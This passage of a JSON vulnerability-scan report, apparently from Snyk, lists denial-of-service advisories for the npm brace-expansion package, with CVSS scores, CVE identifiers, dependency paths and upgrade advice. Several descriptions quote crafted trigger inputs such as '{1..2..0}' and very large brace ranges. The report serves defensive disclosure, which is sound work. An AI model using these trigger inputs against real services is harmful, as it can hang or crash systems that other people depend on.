[ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub 